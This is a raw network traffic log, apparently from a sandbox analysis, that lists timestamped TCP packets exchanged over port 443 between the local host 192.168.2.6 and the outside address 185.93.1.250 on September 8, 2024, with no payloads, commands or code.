Sep 8, 2024 09:53:33.162224054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.162240028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.162292957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.162298918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.162336111 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.162640095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.162655115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.162700891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.162707090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.162739992 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.163188934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.163203955 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.163249016 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.163254976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.163285971 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.163640976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.163654089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.163693905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.163700104 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.163733006 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.164587975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.164601088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.164648056 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.164653063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.164685011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.165144920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.165162086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.165211916 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.165218115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.165268898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.165646076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.165659904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.165712118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.165716887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.165747881 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.248874903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.248902082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.248955011 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.248960972 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.249006033 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.249223948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.249241114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.249289036 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.249293089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.249345064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.249712944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.249759912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.249774933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.249780893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.249797106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.249814987 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.250149012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.250163078 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.250212908 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.250217915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.250255108 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.250602961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.250617027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.250663996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.250668049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.250700951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.251451969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.251466036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.251526117 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.251529932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.251559019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.252018929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.252038002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.252084970 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.252089977 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.252121925 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.252557993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.252578020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.252624035 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.252628088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.252655029 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.337779045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.337805986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.337847948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.337857008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.337882042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.337899923 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.338035107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.338049889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.338092089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.338097095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.338121891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.338553905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.338568926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.338604927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.338615894 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.338627100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.338637114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.338649035 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.338682890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.338992119 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.339005947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.339051008 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.339056015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.339282036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.339304924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.339337111 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.339342117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.339358091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.339560986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.339572906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.339602947 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.339607954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.339631081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.340048075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.340066910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.340100050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.340104103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.340126038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.393354893 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.424834013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.424879074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.424938917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.424988031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.424997091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.425015926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.425065041 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.425476074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.425489902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.425549984 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.425555944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.425658941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.425677061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.425708055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.425713062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.425744057 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.425864935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.425877094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.425914049 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.425920010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.426302910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.426322937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.426379919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.426386118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.426453114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.426464081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.426498890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.426506042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.426723957 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.426742077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.426774979 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.426779985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.426794052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.471551895 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.511719942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.511748075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.511868000 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.511888027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.511938095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.512233019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.512249947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.512298107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.512300968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.512312889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.512331009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.512346029 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.512379885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.512383938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.512420893 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.512516022 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.512531996 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.512587070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.512592077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.512640953 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.512929916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.512953997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.512989998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.512995005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.513021946 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.513037920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.513175011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.513190031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.513240099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.513245106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.513283968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.513442993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.513456106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.513511896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.513516903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.513550043 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.513727903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.513741970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.513792038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.513797045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.513838053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.599112034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599133015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599181890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599184990 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.599203110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599222898 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599251032 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.599256992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599283934 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.599301100 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.599679947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599694014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599749088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.599755049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599762917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599787951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599788904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.599798918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.599817038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.599867105 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.600116968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.600131035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.600182056 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.600187063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.600220919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.600251913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.600265026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.600292921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.600297928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.600326061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.600337982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.600594044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.600606918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.600641966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.600646973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.600682020 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.600693941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.601017952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.601030111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.601079941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.601085901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.601119995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.685920000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.685941935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.686006069 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.686017990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.686063051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.686295986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.686310053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.686353922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.686361074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.686402082 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.686549902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.686563015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.686609030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.686613083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.686640978 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.686810970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.686827898 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.686861038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.686866045 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.686891079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.686918020 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.687110901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.687127113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.687174082 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.687180042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.687227964 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.687448978 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.687462091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.687494040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.687499046 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.687520027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.687536001 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.687777042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.687797070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.687833071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.687836885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.687865019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.687880993 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.687920094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.687932968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.687973976 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.687978983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.688011885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.772933006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.772952080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.773009062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.773020983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.773073912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.773111105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.773123980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.773150921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.773155928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.773199081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.773508072 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.773519993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.773576975 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.773581982 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.773613930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.773713112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.773726940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.773777962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.773783922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.773835897 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.774055958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774069071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774291039 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.774297953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774338961 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.774631023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774646044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774694920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.774698019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774708033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774727106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774736881 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.774741888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774763107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.774779081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.774842978 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774858952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774893045 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.774902105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.774934053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.775047064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.860181093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.860198975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.860270023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.860270023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.860292912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.860315084 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.860368013 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.860610008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.860625029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.860673904 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.860687017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.860908985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.860929012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.860955954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.860963106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:33.860985041 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:33.861182928 CEST	443	49710	185.93.1.250	192.168.2.6
